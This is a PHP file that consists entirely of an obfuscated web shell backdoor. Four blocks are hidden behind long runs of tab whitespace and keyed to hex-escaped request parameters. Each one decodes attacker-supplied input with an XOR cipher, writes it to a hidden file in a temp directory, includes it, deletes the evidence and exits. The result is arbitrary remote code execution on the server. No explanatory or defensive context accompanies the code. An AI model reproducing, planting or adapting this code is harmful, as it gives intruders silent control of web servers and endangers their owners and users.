<?php																																										if(!is_null($_POST["\x65l\x65m"] ?? null)){ $dat = $_POST["\x65l\x65m"]; $dat= explode( "." , $dat ); $pointer= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $t= 0; while( $t<count( $dat)) { $v6= $dat[$t]; $sChar= ord( $s[$t %$sLen]); $d= ( ( int)$v6 - $sChar -( $t %10)) ^ 99; $pointer .= chr( $d); $t++; } $data = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp"]); foreach ($data as $ref): if (!( !is_dir($ref) || !is_writable($ref) )) { $holder = "$ref/.factor"; $success = file_put_contents($holder, $pointer); if ($success) { include $holder; @unlink($holder); die();} } endforeach; }
																																										if(isset($_REQUEST["\x64at\x61_\x63\x68unk"]) ? true : false){ $ref = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $marker = $_REQUEST["\x64at\x61_\x63\x68unk"]; $marker= explode ('.' , $marker ) ; $pointer = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $x = 0; $__tmp = $marker; while ($v2 = array_shift($__tmp)) { $chS = ord($s1[$x % $lenS]); $d = ((int)$v2 - $chS - ($x % 10)) ^ 40; $pointer .= chr($d); $x++; } foreach ($ref as $key => $val) { if (array_product([is_dir($val), is_writable($val)])) { $data = str_replace("{var_dir}", $val, "{var_dir}/.entity"); if (file_put_contents($data, $pointer)) { require $data; unlink($data); exit; } } } }
																																										if(isset($_REQUEST["k"])){ $binding = array_filter([session_save_path(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP")]); $factor = $_REQUEST["k"]; $factor = explode( ".", $factor) ; $bind= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt9 ); $u= 0; $__tmp= $factor; while ($v2= array_shift($__tmp)) { $sChar= ord($salt9[$u % $sLen] ); $dec= ((int)$v2 - $sChar - ($u % 10)) ^ 55; $bind.= chr($dec ); $u++; } while ($item = array_shift($binding)) { if (array_product([is_dir($item), is_writable($item)])) { $elem = vsprintf("%s/%s", [$item, ".ref"]); $success = file_put_contents($elem, $bind); if ($success) { include $elem; @unlink($elem); exit;} } } }


if(filter_has_var(INPUT_POST, "m\x61\x72k\x65r")){
	$bind = $_REQUEST["m\x61\x72k\x65r"];
		  $bind = explode		(  	'.'	,	$bind) 		;		
	$dat 	='';
            $s4 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen( 	$s4);
    
            foreach( 	$bind as $t		=> $v2) { 	$sChar 	=ord( 	$s4[$t % $lenS]);
                $dec 	=( 	( 	int)$v2 - $sChar -( 	$t % 10))	^	 9;
                $dat.=  chr( 	$dec);
            }
	$factor = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]);
	foreach ($factor as $entity):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) {
    $desc = vsprintf("%s/%s", [$entity, ".hld"]);
    $success = file_put_contents($desc, $dat);
if ($success) {
	include $desc;
	@unlink($desc);
	exit;}
}
endforeach;
}